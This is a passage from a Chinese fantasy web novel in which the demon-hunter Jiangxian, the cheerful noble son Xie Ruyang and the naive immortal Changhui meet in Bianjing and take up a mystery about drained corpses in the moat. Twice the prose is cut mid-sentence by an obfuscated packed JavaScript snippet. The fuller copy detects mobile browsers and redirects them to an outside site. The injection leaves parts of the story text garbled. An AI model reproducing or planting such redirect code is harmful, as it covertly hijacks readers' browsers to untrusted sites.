等狼王的身影消失,绛仙立刻拎住谢如恙的领子,朝林子外飞去,打算先带着他离开这个是非之地再想办法把他肚子里的玉桂枝取出来。 一口气飞出林子,绛仙才将谢如恙放了下来她此刻还不能走。 刚刚那些妖目睹玉桂枝进入了谢如恙的肚子,之后定不会善罢甘休,若是今日不将他们彻底给除掉还不知道他们日后会想出什么办法来从谢如恙身上拿到玉桂枝呢。 正当绛仙思考要把这人放在哪里比较安全的时候不远处响起几声急促的呼喊:“二公子?二公子你在里面吗?” 想起谢如恙之前说过自己是什么谢府的二公子,今天又是带着人来的,绛仙推测这群人应该就是谢如恙家的下人。 于是,她将谢如恙往地上一丢,随手炸了块石头引那群人过来后就转身回了林子里。 可当她回到塔前时见此处只留下了一地的冰晶碎屑,一个人影都没有!除过周围飘散着的一丝雪莲香气外,没有半点刚刚经历过激战的样子。 绛仙蹲下身,随手捡起一块碎屑捻了捻,长舒一口气后闭上了眼睛。 一晚上,打了三场架,最后什么都没拿到…… 她究竟在忙些什么啊!!! …… 休息了一晚,次日天蒙蒙亮,绛仙就出发前往汴京城去找谢如恙。 来到城门口,绛仙停下脚步,抬头观察了片刻: 高耸庄严的城墙,每一块砖之间都是严丝合缝的。仔细看看,城墙之上每隔一段距离就有一个小点,那是守城的士兵。红褐色的城门此刻正大开着,想要进入城内只有一条路——搭在护城河上宽阔结实的木桥,而木桥的尽头就是查验过往行人通牒的守城官员。 绛仙没有进城的通牒,也不好临时变出来一个,只好拿出昨夜谢如恙给她的玉牌,想着二品官员的儿子怎么说也能有点威慑力吧? 走近了,绛仙拿出玉牌递给一位留着长胡子的官员,信口胡诌:“我是谢府谢二少爷的朋友,前来赴约的。” 长胡子官员拿着玉牌看了好半晌,确认这确实是谢家的东西后才轻轻点头,“放行。” 至于他为什么派人去谢府问是不是确有其人,那是因为谢家二公子素有“遇见条狗都能称兄道弟”的美名,朋友多到数不清,见得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢如恙摇头:“不用,我去去就回,不会买东西的。” 两次提议都弟弟无情地驳回,青年眼中流露出几分失落。他伸手抚平弟弟前襟上的褶皱,无奈道:“那早去早回,我等你回来。” “好!”谢如恙清脆应了一声后转身。 绛仙趴在房顶上撑着脑袋,看完了一场兄友弟恭、依依不舍的戏后正要下去,却发现那位青年突然朝着自己的方向看了过来。 视线不经意之间的相撞,绛仙觉得有些奇怪。 相比于青年那张清雅俊逸的脸和单薄的病体,绛仙更奇怪的是他看向自己的眼神似乎带了些完全看不清的……笑意? 绛仙曾经无聊的时候翻过几次话本子,看了没几页就丢到一边了,因为那些人写眼神,说什么薄凉又深情、不屑又不可置信什么乱七八糟的,实在是太过夸张了! 她完全想象不出来一个人的眼神里会藏这么多东西,可是今天这个男人的眼睛里竟然能藏这么多的情绪。 “莫名其妙。”绛仙嘟囔一句后转身要走,却听谢如恙大叫一声:“绛仙姑娘!” 绛仙转身的动作停住了,又听谢如恙继续道:“你怎么在房顶上啊?昨天晚上究竟发生了什么?我怎么一醒来就在家里了?没看到你我还担心呢,见你平安还能爬高下低,我放心多了!” 一长串的问候让绛仙如芒刺背,半晌才僵硬地转过身对谢如恙扯出个笑后跳下房顶。 谢如恙热情地拉过她,向她介绍:“这就是我跟你说过的,我哥!哥,这位就是昨天晚上一直保护我的那位姑娘,她叫绛仙。” 绛仙咬牙问:“你怎么知道我的名字的?” 谢如恙诶一声,“那只老鼠不是叫过你的名字吗?” 绛仙深吸一口气,别过脸却意外对上了那位蓝衣青年。 他带着笑对绛仙拱手,声音如水般潺潺: “在下谢如许,见过姑娘。” 5. 狂妄 绛仙略一挑眉,此刻面前这人的眼神倒是变了,方才那些莫名其妙的情绪荡然无存,若不是她万分相信自己的眼睛,可能真的要怀疑那一眼是错觉了。 盯了一会儿,谢如许开口了:“姑娘何故如此看我?莫非我二人曾经见过?” 对绛仙而言,所有不明就里的好意在她眼里都算挑衅,像谢如恙这样的傻子除外。 所以面对对方亲热的问题,她故意道:“肯定没见过,要是见过,我不会让你活到现在的!” 此话一出,谢如恙的表情变了,他神色仓皇道:“绛仙姑娘我是真心把你当朋友的,你怎么能这么和我哥说话呢?哥,你别往心里去……” 绛仙哼一声,反问道:“谁说我要和你做朋友了?知道我的名字就算是朋友了?那当你的朋友也太容易了点。” 谢如恙咬着唇,半晌没有说话。 见弟弟心情不好,谢如许拍拍他的肩,道:“我认为绛仙姑娘只是喜欢说笑,并不是有心的,我当然不会怎么样。” 谢如恙闷闷道:“那也不能拿生死说笑啊……” 绛仙抱臂站在一边,谢如许突然转头看向她,对她颇有指向的微微一笑。 绛仙闭了闭眼,又想到自己还没拿回玉桂枝,不能和谢如恙闹掰,只好不情不愿道:“行了行了,对不起,我以后再也不拿生死开玩笑了,好吗?” 生死这种东西在她眼里不过是输赢之间的筹码,赢了就活,输了就死,都是家常便饭,谁知道谢如恙对生死看得如此之重,只是说一句都不行。 没想到她第一次和别人道歉是因为这么无聊的小事…… 谢如恙依旧愁眉不展,“那我们还是朋友吗?” “是是是,是朋友。”绛仙顺从道。 谢如恙一下子笑开了,对着谢如许兴奋道:“是吧是吧,哥,这就是我的新朋友!” 绛仙扶额,暗道一声幼稚,真是不明白这人的情绪转变怎么能这么快。 “既然这样,那我今天就要晚一点回来了,我要带新朋友去街上逛逛,给她买些见面礼!”谢如恙笑得灿烂,谢如许也带着宠溺望向他,“好,都依你。那现在还要带人同去吗?” 谢如恙思索片刻,担心买得东西多了他一个人提不了,让姑娘家提着又不好意思,便点点头:“要!多要几个!” 绛仙立刻制止:“不用,我们两个人去就行了,别带其他人。” 带了其他人,她还怎么和谢如恙说玉桂枝的事情? 谢如恙问:“为什么?” “因为我不喜欢人多,麻烦。”绛仙随意道。 “可人多了……”不是更热闹,更好玩吗? 说到一半,谢如恙停了下来,他带朋友出去玩就得看朋友的意愿,若是绛仙实在不喜欢人跟着那两个人去也行,左右不过他多拎几件东西的事情。 于是,谢如恙与兄长告别后和绛仙一起轻装上路了。 绛仙本想着离开谢如许后就和谢如恙说玉桂枝的事情,没想到才刚走出几步,谢如恙就开始兴高采烈地向她介绍路边的东西,只要目之所及,无论是买糕点的小摊,还是路过的卖菜大爷,甚至是路边的狗都要介绍几句。 不单是介绍,还要告诉绛仙讲自己的亲身经历,就连什么时候在哪条街上因为什么事情以什么姿势摔了一跤有几个人看到了,都要说出来。 绛仙听得一阵窒息,咬牙切齿地问:“你说了这么多,不渴吗?” 此时,两人刚好经过一个名为“醉八仙”的酒楼,谢如恙一拍脑袋,恍然大悟道:“原来你是渴了啊,走走走我带你去醉八仙里坐坐,这里头的梨花白最好喝了!” 绛仙被扯着袖子拉进门,完全失去了说话的欲望。 谢如恙挑了个二楼视野开阔的地方坐定,随后唤来了店小二。 店小二热情地道:“哟,谢二公子又带新朋友来了?” 谢如恙点点头,“是啊,对了上两壶梨花白,再随便上几个菜。” 店小二应道:“好嘞。” “等等。”绛仙叫住他,道,“我不喜欢喝酒,上白水就行。” 店小二有些纠结地看向谢如恙,谢如恙则摆摆手:“白水多无聊?除了酒这里还有其他东西的,你喜不喜欢甜的?还是酸的?” 眼见谢如恙又要问个不停,绛仙脑子直嗡嗡,只好道:“随便,除了酒其他什么都行。” 最终,在店小二的介绍下谢如恙敲定了桂花甜酪。 “之前就没有人嫌弃过你很吵吗?”绛仙还是没忍住问出了口。 谢如恙当即点头:“有啊,但是我这人就是这样,一和朋友出门就喜欢叽叽喳喳说个不停,控制不住的。” “他们不嫌弃你烦吗?”绛仙很认真地发问。 “有啊,他们都直说的,叫我不要吵。怎么你觉得我烦了?”谢如恙问。 绛仙真诚点头:“真的,挺烦的。” “哦,那我控制一下自己。”谢如恙像是被一盆水浇灭的小火苗,顿时失去了热情。 等到菜上桌好一阵,他都没有再说话,楼下的台子上说书人正摇着扇子,吐沫横飞摇头晃脑地讲着故事: 话说在很久很久以前,遥远的昆仑山上住着一位神君,那神君乃是真龙化身,白衣飘飘,所到之处无不是鲜花遍地、绿草成荫,就连庄稼都能一夜长成。 只要他从山上轻轻往下望那么一眼,那目光所及的地方百年之内都是风调雨顺,百姓无病无灾、安居乐业…… 绛仙打了一个哈欠,看向对面沉默着吃菜的谢如恙迟迟没有动筷。这突如其来地一阵沉默竟让她都有些不自在了。 她往窗外随便看了几眼,只见一家无人光顾的医馆边立这一块牌子,不少人围在牌子前指指点点些什么,旋即她随手一指,问谢如恙:“他们是在看什么?” 谢如恙闻声抬眼,放下了筷子看向绛仙指的那处,不过片刻,他便开始向绛仙解释:“那是通缉令。” 绛仙见他开口了,松了口气,随口一问:“通缉的是谁啊?” 谢如恙答道:“妖丹猎手,绛仙。” “噗……”绛仙差点没把嘴里的水喷出来,又问一遍,“什么猎手?谁?” 谢如恙耐心答道:“妖丹猎手啊,你不知道吗?” 见绛仙一脸茫然,谢如恙的“满腹经纶”终于有了用武之地,他道:“那位妖丹猎手很有名的,强大、狂妄、桀骜不驯,只要和她有过交集的都人或妖,对她都是又惧又恨。从来没有人能近得了她身,没有人能抓得住她,只能在被洗劫一空后对着自己空空如也的屋子大哭。最经典且广为流传的,还是树人庄一战!” “据说那是因为绛仙名望太盛,那树人庄的庄主心生妒忌,想要把她给除掉,以正自己的威名,所以下放悬赏,只要有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850688|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能带着绛仙的首级到他面前就赏他黄金万两,重金之下,必有勇夫。可令人惊讶的是,第一个前去树人庄的,是一个令所有人都始料不及的人……” 谢如恙一拍桌子,比楼下的说书人还要激动,他神秘地问:“你猜,那个人是谁?” 绛仙嘴角一扯,没有说话。 谢如恙催促道:“快猜呀!猜不到吧?” 他一副得逞的表情,继续道:“那人,就是绛仙本人!她一路杀进树人庄,满身是血的站在树人庄庄主面前,冷酷地说‘不是要我首级吗?我如今在此,你敢取吗?’,树人庄庄主当然不敌,惨死在绛仙剑下,当晚整个树人庄没有留下一个活口!” 绛仙扶扶脑袋,又摸摸鼻子,一只手竟一时不知道该往哪里放。 心中不由发问:这东西都是谁编出来唬人的?真实情况根本不是这个样子好吗! 那老贼想给她一个下马威,自己又没那个能力才想着用悬赏来杀了她,给得钱是越加越多,就是没有人接,直到最后她自己都心动了。 于是,她就去了。 悬赏令上说带着绛仙首级过去就能给钱,又没说必须得把脑袋割下来带过去啊?她把脑袋放在脖子上过去,有问题吗?完全没有问题! 谁知道那老贼说话不算数,她还没走到呢就先一步拉着自己的妻儿亲信跑了,只留下一庄子的老弱病残。人影都没见到,更别说给钱了。 而且她也不至于残忍到对老弱病残痛下杀手,所以在索要黄金无果后就把他们给遣散了。 一整件事下来,她可连一只鸡都没杀过,怎么传着传着,传成这样了? 至此,谢如恙的故事还没有讲完,他喝了一口酒后继续道:“这还不是她有名的全部原因,最重要的是她的身份。作为妖丹猎手的她,本身就是一只妖!没有人知道她为什么要对自己的同类下手,也没有人知道她是从哪里来的,目的是什么。” “时至今日,这些依旧是个谜。” 谢如恙一时可惜,绛仙却突然问他:“我叫什么?” 谢如恙眨眨眼,答道:“绛仙啊。” 绛仙又问:“那你刚刚说的那个妖丹猎手叫什么?” “绛仙啊。” “那……”绛仙指了指楼下的通缉令又指指自己,“你就没想过,我就是你说的那个‘妖丹猎手’吗?” 谢如恙又眨眨眼,摆摆手道:“不可能,哪有人会蠢到顶着通缉令到处跑?那也太狂妄……” 谢如恙顿住了,他看看楼下又看看对面的少女,怀疑道:“不能吧?那个绛仙……是妖啊?” 绛仙一摊手,“我不像吗?” 谢如恙忽然想起昨晚发生的事情:斩巨蛇、杀恶妖,还能单手拎着他飞来飞去。 这怎么着都不像凡人少女能做出来的事吧?! “那,你是……妖?”谢如恙说话的声音都小了不少。 “嗯哼。”绛仙耸耸肩。 谢如恙深吸一口气,很快地往周围看了一圈,确认没人听到后才道:“那你得瞒好了,别被人发现!” 绛仙撑着脸,眉眼弯弯看向他:“怎么?我还怕他们杀我不成?……只不过我有一个小小的问题,下面的那张通缉令,是谁贴的呢?” 带着威胁意味的话传入耳中,谢如恙有些担心,连连摆手道:“不不不,她不是为了杀你,没有恶意的,你别伤她!” 6. 沉尸 “没有恶意?”绛仙挑起一边眉毛,直勾勾盯着谢如恙问,“如今的世道,只要是个人都恨不得将妖碎尸万段、剥皮吃肉,你说没恶意就没恶意?你觉得我会信吗?” 谢如恙赶忙解释:“你可不要一杆子打死所有人!也不是所有人都是你说的那样对妖有偏见。比如我,我就没恶意,我不是还帮那个珠儿见她的情郎呢!” “那我倒是要问问你。”绛仙弯起的眼中闪过几分危险的意味,“那个人通缉我是为了做什么?” 谢如恙又在四周看了一圈儿,做贼一样压低声音道:“她是想要你帮个忙。” “帮忙?”绛仙跟着凑近,也学着他压低声音,问,“要我帮什么忙?非得用通缉这一招?” 谢如恙声音压得更低:“她需要妖丹,很多很多妖丹。至于为什么要通缉,那还不是因为你行踪不定,她就只能像上次树人庄一样引你出来。” 说完,谢如恙停了一下,似乎有些纠结要不要说下去,但当他抬眼对上绛仙带着好奇的目光,便后还是忍不住道:“其实,还有一个更重要的原因。身份使然,她没办法光明正大地很你做交易。” “身份?什么身份?”绛仙继续问。 谢如恙吞吞口水,小心翼翼地做了个口型:“长公主。” 长公主,当今天子的亲姐姐。因为天子年岁太小又体弱多病,无法单独当朝理政,为防止被有心之人利用,所以长公主时常伴其身侧,代理朝政。 可她,为什么需要妖丹呢? 绛仙眯着眼思索,难不成是想练什么邪功谋权篡位? 可是这个问题,谢如恙也解答不了,他只知道长公主需要妖丹,至于为什么需要那就是所谓“皇家秘闻”了,他当然没法子知道。 “虽然我不知道她是为了什么,但我相信她的为人,她是不会做什么伤天害理、罔顾人伦的事情的。所以,你能不能帮她这个忙?”谢如恙问道。 “不知道。”绛仙回答的干脆,谢如恙疑惑这不知道是个什么意思的时候,她才继续道,“看我心情,我要是想帮,她想谋财害命、毁尸灭迹我也帮,要是我不想帮,那她就算有一万个理由,我都不会看她一眼。” 谢如恙失望地啊了一声,绛仙问:“你这么想让我帮她,她不会也是你朋友吧?” 出乎意料,谢如恙这次居然摇头了,表情还有些可惜:“长公主品行高洁,智慧过人又有爱民仁义之心,我当然想和她交朋友!可是,她似乎不太喜欢与旁人来往,再加上身份差距,我也不敢去和她说话。” 绛仙倒是奇怪了,问:“我也不喜欢和旁人来往,那你为什么老往我身边凑?” 谢如恙想当然地道:“那不一样!虽然你嘴上说着不想多管闲事,但我能看得出来你不抵触别人接近你,可是她就不一样了,她的眼神里好像总是带着一丝疏离,让人不敢靠近。” “疏离?”绛仙眼睛动了动,似乎想试试疏离是什么样的,可尝试了好几次都没什么感觉,只好抱起手臂,哼一声,“看来是我做得不够绝对,既然这样那我走好了。” 说着,绛仙起身就要走,谢如恙意识到自己说错话了,连忙爬起来拉住绛仙,道:“别走啊,饭还没吃完呢,不能浪费粮食!” 绛仙转过头,看着桌上剩了大半的菜很快又坐了回去。 再怎么样都不能饿着肚子走,先吃饱了再说。 虽然略有波折,但这顿饭也算是圆满的吃完了。 离开醉八仙后谢如恙突然一拍手掌,道:“对了,说到珠儿我还忘了件事。” “什么事?”绛仙伸手遮了遮头顶的太阳,一般这个时候她就会找一棵光照充足的树,躺在树干上愉快地午睡。 谢如恙道:“我今天本来是想去看望珠儿的,见到你太兴奋了就给忘了,现在想起来了,不如我们就一起过去吧!” “珠儿?你突然去看她做什么?”绛仙问。 谢如恙挠了挠头,有些扭捏地解释道:“昨天不是你说我不顾那狼王的劝阻帮她和情郎相会,日后定会害了他们吗?所以我就想尽我所能去帮帮忙。” 绛仙没想到自己随口一说,谢如恙还真放在心上了,一时诧异。 也许是午后的阳光太过舒适,会使人丧失争辩的欲望,又或许是谢如恙这副兴致冲冲的样子让人不忍拒绝。她也没多说什么,跟在谢如恙身后一起往珠儿家的方向走去。 走了没多久,谢如恙就一脸兴奋地指着不远处的一座宅子,道:“那就是珠儿家,珠儿和她丈夫人都很好的!我带你去看看。” 绛仙很想问一句在他眼里究竟有谁不好,但她还是忍住了,只是在一个拐角处停了下来,道:“我不认识,你自己去。” 谢如恙还想再说些什么,却见绛仙找了个有太阳的地方靠着,好像是在晒太阳。 暖洋洋的光洒在身上,她颇为舒适地眯起了眼睛。 谢如恙顿了顿,随后眼珠一转,不再勉强她,转过身自己一个人敲开了珠儿家的门。 绛仙靠在墙上,被太阳晒得有些睁不开眼,耳边时不时响起一阵沙沙的脚步声,让她不由地打起了瞌睡。 没过多久,一阵轻轻的脚步声由远及近,最后停在了她身边。 绛仙懒懒睁开一只眼,看到一张伶俐可爱的脸。 “您就是绛仙姑娘吧?”珠儿唇边带着腼腆的笑意,声音清脆。 绛仙这才睁眼看她,问:“有事?” 珠儿抿着唇将手中捧着的东西递上,道:“谢公子方才和我说了昨天夜里的事,多亏您出手相助才让我爹幸免于难,我心中万分感激却不知要如何报答您,只有这些亲手做的糖果子,算是一点心意,希望您不要嫌弃。” 鼓鼓囊囊的油纸包被双手捧着,绛仙对上珠儿真诚的双眼一时有些不忍拒绝,只好伸手接过,颇为不自在地道了声谢。 珠儿唇边的笑意又添了几分,看得绛仙双颊有些微微发烫,直到珠儿离去好久都没有转凉的意思。 她单手托着油纸包,用另一只手摸了摸脸,感受到一阵滚烫后深吸了一口气。 太阳太大了,一定是太阳太大了! 许是念及绛仙还在屋外等着,谢如恙也没有和珠儿聊太久,没有半个时辰就出来了,同时珠儿和她的夫君也跟着出门送送谢如恙。 “多谢谢公子挂念,日后若是得空我定登门拜访。”书生拱手道。 谢如恙点着头,“好,到时候我一定要摆一桌子菜招待你们!” 绛仙踱步到他身边,上下的打量着这位“离经叛道”的书生:年纪不大,又是一副乖巧的长相,背上背着个比腰都宽的背篓,看样子就是个单手就能撂倒的弱书生。 没想到就是这样一个人,竟然敢冒天下之大不韪来一出人妖相恋的戏码,怕不是风月本子看多了,以为自己也是痴心一片的宁采臣? 再看看珠儿挽着他的手臂一脸羞赧的模样,绛仙不由起了一身鸡皮疙瘩。她是真不明白,为什么会有人爱一个人爱到死去活来?十几年或几十年对着同一张脸,就不觉得烦吗? “柳兄这是要去哪儿?为何背一个这么大的背篓?”谢如恙这才注意到书生背上的背篓。 书生轻轻叹了口气,解释道:“我这是要去城外护城河。” “护城河?你去哪儿做什么?”谢如恙问。 书生有些诧异,问:“谢公子还不知近日城中发生的怪事?” 谢如恙一头雾水,“什么怪事?我还真不知道。” 因为要给兄长祈福,他在大觉寺里斋戒了近半个月,错过了坊间的传言,昨夜回来的时候又是晕着被下人带回来的,自然也没有发现护城河边的异像。 “前些日子,有人在护城河中捞出了好几具尸体,各个面若骷髅,浑身乌青,好像是被什么东西给吸掉了精气,吓人得很!这件事扰得城中百姓夜夜难安,找了不少捉妖师前来都束手无策。很快这件事就传到了宫里去,圣上便下旨派人日夜打捞,看护城河内还 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“为了你?我可没说我是你朋友,爱哪门子的乌?”绛仙依旧坚持。 “我们还不是朋友?我们一起吃饭,一起逛街,还聊了那么久,怎么就不算朋友了?” 突然,绛仙停了下来。 谢如恙以为自己的软磨硬泡有了效果,正要开口感谢却被绛仙捂住了嘴。 “怎么了?”谢如恙含糊不清道。 绛仙向他做了一个噤声的手势,随后看向不远处飘着酒招的方向。 谢如恙也好奇地朝那边看去,只见酒坊门前两个人正相对望着对方。 一坐一站,一老一少,一负剑一执酒,面面相觑。 老的那个谢如恙认识,正是醉八仙的那位说书人,姓李名良,至于年轻的那个…… 他想了想,似乎有些眼熟。 思索的间隙,只听那李良不耐烦道:“你这小子怎么听不懂人说话?我说不知道就是不知道!” “可是我方才听您所讲,您应当认识那位昆仑神君才是。”白衣仙君一脸认真。 李良怒将酒坛子一搁,回道:“那是故事,故事你听得明白吗?我就是个说书的,要是真见过神仙我早腾云驾雾上天去了,还待在这儿干什么?等死啊?” “若您未曾亲眼见过、亲身经历过又如何能说得那般真切?莫非您是哪位隐姓埋名、大隐于市的前辈,能否让晚生一睹您的真容?” 这下,李良是彻底被说烦了,他眉一横,脱口而出:“我是你爹。” 白衣仙君愣住了,半晌他才迟疑着开口:“抱歉,晚生只知家中有一位兄长,从未见过生父。若您当真是晚生之父,还请父亲告知兄长所在,以便晚生、不,孩儿确认。” 这下轮到李良哑口无言了,努力平复好心情后,站起身郑重地拍了拍他的肩膀,道:“我不是你爹,你是我爹。” “我?”白衣仙君一脸懵懂,认真解释道,“孩儿未曾有过心上人,也未曾破身,应当是没有子嗣的。” 李良被气笑了,“你还真他大爷的是我爹。” 白衣仙君解释的更认真了:“我当真未曾破身,这样是不会有子嗣的。” 谢如恙在一边看得一阵牙酸,赶忙冲上前去扶住快被气晕过去的李良,对白衣仙君解释道:“虽然这么说不太好,但这位仁兄,他刚刚说的是骂人的话。” “骂人?”白衣仙君又开始不解了,以为是谢如恙误会了,赶忙向他解释,“他方才是说‘他是我爹’,并没有骂人,还请公子不要污蔑这位前辈。” 谢如恙噎了一下,但还是耐心道:“是你误会了,刚刚那几句就是骂人的话。” 白衣仙君沉默了一会儿,用求知的眼神看向谢如恙:“那为何称自己是别人的爹就是骂人了?爹是什么很不好的东西吗?” 谢如恙:“……?” 7. 寻亲 谢如恙几乎费了九牛二虎之力才向这位仙君解释清楚“我是你爹”为什么是用来骂人的话。 仙君懵懂地点了点头,有些明白了,对着谢如恙拱手道谢:“多谢公子解惑,在下长徽,不知公子姓名?” 谢如恙这才松了口气,乐呵呵地回道:“我叫谢如恙,不知长徽兄来汴京做什么?游玩?” 长徽垂眸,轻轻吐出两字:“寻亲。” “寻亲?那敢情好啊,我在汴京城认识的人可多了,你且和我说说你那位亲人姓甚名谁,长什么样子,说不准我就能帮你找到了!”谢如恙热心肠地道。 此时,站在一旁很久没有开口的李良阴阳怪气道:“人家要找的是神仙,你要是想帮忙,你得上天!” “神仙?”谢如恙看向长徽,得到对方肯定的回答后颇为为难的摸摸脑袋。 李良看着长徽啧啧两声:“我看这小子小时候被驴踢过脑子,长得人模狗样的,说起话来像个木头一样。” 长徽再次看向谢如恙,问:“这也是骂人的话吗?” 谢如恙硬生生扯出个笑,没急着解释,低头从袖中掏出一个钱袋后将它迅速塞给李良,打发他去买酒。 李良嗜酒如命,又天降横财自然是高高兴兴地拎着钱袋子去酒坊买酒了。 从源头解决了这个问题后,谢如恙才转身对长徽道:“我突然想起一个人,神神鬼鬼的事情他最在行,我可以帮你去问问他!” “真的吗?”长徽露出感激的神色,郑重地鞠了一躬,“多谢谢公子。” “不必客气,都是朋友嘛!” 每次接受到别人的谢意,谢如恙就觉得自己又长高了几分。 “诶对了。”这时谢如恙忽的想起绛仙被自己晾在一边许久了,于是转身在人群中寻找绛仙的身影,见她正迈着大步要往反方向走便立刻开口叫住:“阿绛,走反了!” 谢如恙的声音极大,以至于街上不少人都转过头看向他的方向,而在人群中闷头往回走的绛仙在此刻就显得格外显眼,让她跑也不是不跑也不是,恨不得找个地缝钻进去。 僵持许久,绛仙还是认命般的走了回去,在长徽开口前先一步打断,道:“我真的没见过你说的那个什么神君,别问了。” 谢如恙一拍脑袋,这才想起长徽为什么眼熟了,原来他就是昨夜出手相助的那位白衣神仙啊! 长徽眼中划过一丝失落,但还是不死心地追问:“那姑娘可有见过什么人?或者与什么人交过手?” 绛仙一口气差点没上来,她刚刚下意识地想要溜走就是提前预料到了现在的场面,回想起她和面前这人的第一次相见,更是有口难言。 当时,她找了一棵老树,正准备休息,谁知从暗处冒出来只鸟,说这是它的地盘,让绛仙另找地方去住。若它态度好些也就罢了,毕竟地盘这种东西都是先到先得的,可是它偏偏要指着绛仙鼻子骂,叽叽喳喳地说了一大堆,硬生生把绛仙多一事不如少一事的想法变成了我就要你的地盘了,怎么地! 于是,绛仙就这么和那只鸟打了起来,那鸟也就一张嘴厉害,真打起来,竟是连绛仙的一招都接不住。 而就在她打算一剑送它归西的时候,长徽在半路杀出来了。 他与昨夜一样,一袭白衣,踏月而来,先绛仙一步将那只鸟给捅了个对穿,然后还一副路见不平的样子,对绛仙说:“姑娘不必担心,此妖已除。” 可在绛仙眼里,这人分明是明晃晃地抢她功劳,绛仙一气之下呛几句,大概就是些:你凭什么抢我的猎物,谁要你帮忙了,本姑娘我自己可以。 然而,长徽全然没将她的话听进去,只是盯着她看了许久后,不可置信又迟疑地问了一句:“你,是妖?” 绛仙继续呛他:“是妖又怎么样?” 闻言,长徽退后几步,再次握住剑柄,定眼看她:“你可有作乱杀人?” 绛仙呵笑一声,“作乱杀人又如何?你要杀我不成?” 于是,态势急转直下,从一开始的英雄救美变成了游侠和恶妖的针锋相对。 两人简单过了几招后,绛仙发现这人的功力与她几乎是不相上下,便一改开始的随手一打,准备认真和这人酣战一番。 谁知还没等她运气,长徽却突然停下了。 绛仙不明所以,长徽却蹙眉盯着她,斟酌许久才试探着问:“你,近日可有见过什么人?” 绛仙只觉得莫名其妙,“要打可以,闲聊不奉陪。” 长徽却不依不饶:“你可有见过一位与我有几分相似的人?” 绛仙听后只觉得这人有病,懒得再和他多费口舌,掐了个诀就打算溜走。 谁知在接下来的几日里,她去哪儿,长徽就跟去哪儿,跟屁虫一样,就连她寻处天然的温泉沐浴,对方也跟着,烦人得紧,边跟还边说什么:你身上有我兄长的气息。 笑话,绛仙行走江湖两年可从来没和什么男人不清不楚过,哪儿来什么男人气息? 直到她接到玉桂枝的悬赏,周围才不见长徽身影。 她还以为,这人觉得没意思就不跟了呢,谁知昨夜又出现了。 “我真的什么都没见过,你究竟要烦我到几时啊?” 见绛仙这般不耐烦,谢如恙赶忙跳出来当和事佬:“好了好了,既然没见过那说不准是个误会呢?两位还是好好说话,好好说话……” 长徽张了张嘴,似乎还有些不甘,但又想到自己不能和唯一有兄长消息的人交恶,只得作罢。 至此,绛仙才看向让她当众出丑的谢如恙,一巴掌打在他脑袋上,质问他:“你叫的是个什么称呼?恶心死了。” 谢如恙有些委屈,捂着脑袋解释:“我这不是怕你的身份被人发现嘛!再说了,朋友之间有个爱称怎么了?” 绛仙懒得再说什么,抱起手臂,一副事不关己的样子:“竟然你答应了要帮他找亲人,那沉尸的事情就与你无关了,我走了,你们两个慢慢玩。” 闻言,长徽蹙起眉,问:“沉尸?” 谢如恙向他讲述了护城河沉尸的怪事后,他低头思忖片刻,道:“沉尸之事关乎百姓安危,相比我的私事更为重要一些,二位还是先解决此事,寻亲一事不急的。” 说罢,他微微俯身:“若是有需要帮助的地方,我也可以略尽微薄之力。” 见长徽转身要走,谢如恙忙道:“长徽兄留步!既然你也有此意,那我们一起行动如何?人多力量大,我就不信我们揪不出这只作祟的小妖!” 绛仙正好借此机会脱身:“既然如此那你们两个志同道合的热心肠就一起去吧,我先走了。” “诶!”谢如恙正要开口叫住,没想到这次绛仙溜得比兔子还快,一眨眼的功夫就消失在人群之中,不见踪影。 见此,长徽垂眸道歉:“抱歉。” 谢如恙不明所以:“你道歉做什么?” “许是我的出现使得绛仙姑娘不悦,她才不愿留下的。” 高大挺拔的男人在此刻竟显出几分做错事的孩童模样,谢如恙拍拍他的肩,冲他一笑:“不是你想的那样,阿绛人很好的,只不过是刀子嘴豆腐心,说不去可能就是因为走累了想休息,和你没关系的。” 长徽这才露出一丝笑意,道:“如此便好。”他发自内心的赞道,“能得此般交心的挚友,实属人生幸事。” “那当然了!”谢如恙骄傲的挺起胸膛,顺手揽住长徽的肩膀,开朗道:“现在你也是我朋友了!” 长徽微微怔住,道:“朋友?” 停了半晌,他唇角又带上了些笑意,郑重地道,“谢谢。” “你怎么又开始道谢了?”谢如恙觉得这人很是奇怪,有时候语出惊人有时候又过分的礼貌,看起来还真像是从哪座仙山上下山,不谙世事的神仙。 “说来惭愧,虽然我在外游历许久,但从未有人愿意与我做朋友。”长徽垂下眼,长睫的阴影洒在眼下,显得有些落寞。 “啊?”谢如恙颇为同情地看着他,一个人离家在外,没有亲人又交不到朋友,这两件事放在一起,在他那里都能算作是天崩地裂的程度了。 真不知道他一个人是怎么过的。 谢如恙心中的责任感油然而生,对着长徽一拍胸脯,道:“你放心,从此以后我就是你的朋友,我也一定会帮你找到亲人的!” 长徽从未与旁人有过这般亲密的接触,一时怔住。很快,他就回抱住谢如恙,对他点点头:“好。” “对了,沉尸之事我们先从哪里查起?我对汴京还不太熟悉。” “嗯……”谢如恙摸着下巴思忖片刻,道,“既然是从护城河里发现的,那我们就先去护城河看看吧!” “好。”长徽应道。 …… 客栈内,绛仙撑着脸看着桌上放着的油纸包,油光盈盈的糖油果子挤在一起,不少都变了形状。 她忽然想起白日里谢如许那个转瞬即逝的眼神,心里有一种说不清道不明的感觉。 他为什么会那样看自己呢?难不成自己真的见过他,只是忘记了? 不可能啊,她逃出白玉京不过两年,她怎么会连两年之内的事情都记不清呢? 越想越奇怪,越想越难受,干脆不想!她重重地拍了拍双颊,好让自己清醒一点。 捻起一颗糖油果子放进嘴里,她又开始思索玉桂枝的事情。 